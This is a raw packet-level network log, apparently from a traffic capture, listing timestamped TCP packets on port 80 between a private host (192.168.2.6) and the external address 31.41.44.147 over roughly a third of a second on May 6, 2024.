May 6, 2024 02:52:47.671252012 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.671432972 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.671471119 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.672164917 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.672205925 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.672287941 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.672302008 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.672327042 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.672341108 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.673578024 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.673590899 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.673619032 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.673636913 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.673930883 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.673973083 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.673985958 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.674026012 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.674494028 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.674506903 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.674537897 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.674549103 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.676440001 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.676510096 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.676733971 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.676747084 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.676796913 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.676832914 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.676873922 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.711850882 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.711884975 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.711942911 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.711957932 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.712027073 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.712039948 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.712069035 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.712079048 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.712558031 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.712600946 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.712861061 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.712901115 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.713789940 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.713834047 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.714004993 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.714044094 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.714507103 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.714519024 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.714549065 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.714828014 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.714869022 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.716124058 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.716136932 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.716181040 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.716181040 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.716387033 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.716399908 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.716430902 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.716430902 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.716994047 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.717027903 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.717211962 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.717251062 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.719347954 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.719394922 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.719432116 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.719471931 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.719475031 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.719486952 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.719511032 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.719527006 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.719676018 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.719717026 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.719801903 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.719842911 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.754297972 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.754332066 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.754347086 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.754373074 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.754398108 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.754674911 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.754720926 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.755129099 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.755175114 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.755248070 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.755287886 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.756175995 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.756226063 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.756474018 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.756520033 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.756994009 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.757008076 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.757019997 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.757035017 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.757057905 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.758107901 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.758151054 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.758235931 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.758277893 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.759562969 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.759581089 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.759610891 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.759627104 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.760109901 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.760122061 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.760149956 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.760169029 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.761693954 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.761737108 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.761823893 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.761837006 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.761863947 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.761881113 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.761960030 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.762001038 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.796696901 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.796710014 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.796771049 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.796892881 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.796936989 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.796941042 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.796973944 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.797508955 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.797549963 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.797863960 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.797904968 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.798094988 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.798135996 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.798465967 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.798508883 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.798666000 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.798702955 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.798708916 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.798746109 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.799105883 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.799145937 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.799346924 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.799407005 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.799606085 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.799645901 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.800599098 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.800647020 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.800904989 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.800945997 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.801902056 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.801944017 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.802012920 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.802054882 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.802350998 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.802391052 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.802419901 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.802433968 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.802464962 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.804094076 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.804147959 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.804217100 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.804263115 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.804356098 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.804399014 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.839339018 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.839385986 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.839478970 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.839488983 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.839576006 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.839623928 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.839656115 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.839700937 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.840369940 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.840429068 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.840451002 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.840493917 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.840790033 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.840835094 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.840897083 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.840945005 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.841646910 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.841664076 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.841675997 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.841696024 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.841713905 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.841963053 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.842014074 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.842092991 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.842140913 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.843573093 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.843605042 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.843628883 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.843640089 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.844084978 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.844127893 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.844141960 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.844187021 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.844614029 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.844661951 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.844755888 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.844782114 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.844805956 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.844815969 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.846407890 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.846458912 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.846611977 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.846657991 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.846689939 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.846735001 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.846929073 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.846977949 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.848828077 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.848875999 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.881836891 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.881886005 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.881889105 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.881925106 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.882039070 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.882085085 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.882370949 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.882417917 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.882819891 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.882832050 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.882863998 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.882879019 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.883670092 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.883714914 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.883718014 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.883761883 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.884530067 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.884577990 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.884578943 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.884617090 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.884830952 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.884844065 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.884876966 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.884886026 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.885112047 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.885160923 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.885729074 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.885776997 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.885884047 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.885931015 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.886398077 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.886446953 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.886585951 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.886627913 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.886957884 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.886970997 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.887008905 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.887017965 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.887054920 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.889060974 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.889110088 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.889204979 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.889250040 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.889374971 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.889424086 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.889648914 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.889693975 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.926788092 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.926803112 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.926856995 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.927046061 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.927088976 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.927161932 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.927205086 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.927690029 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.927735090 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.927756071 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.927797079 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.928611040 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.928678989 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.928699017 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.928740025 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.929296970 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.929328918 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.929341078 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.929367065 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.929399014 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.929670095 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.929716110 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.930028915 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.930075884 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.930469036 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.930505991 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.930522919 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.930536032 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.930978060 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.931024075 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.931076050 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.931122065 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.931457996 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.931502104 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.931601048 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.931643009 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.931658983 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.931704998 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.932224989 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.932269096 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.932333946 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.932373047 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.932475090 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.932521105 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.932858944 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.932904959 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.969652891 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.969703913 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.969736099 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.969748020 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.969898939 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.969922066 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.969940901 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.969957113 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.970542908 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.970555067 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.970592022 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.971108913 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.971155882 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.971673012 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.971719027 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.971858025 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.971896887 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.972054005 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.972094059 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.972132921 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.972176075 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.972496033 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.972539902 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.972824097 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.972868919 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.973087072 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.973129034 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.973454952 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.973494053 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.973659039 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.973701954 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.973803043 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.973848104 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.974385023 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.974397898 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.974435091 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.974442959 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.974453926 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.974484921 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.974705935 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.974754095 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.974956036 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.974993944 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.975003004 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.975033998 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.975528955 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.975579023 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.975841045 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.975889921 CEST	49710	80	192.168.2.6	31.41.44.147
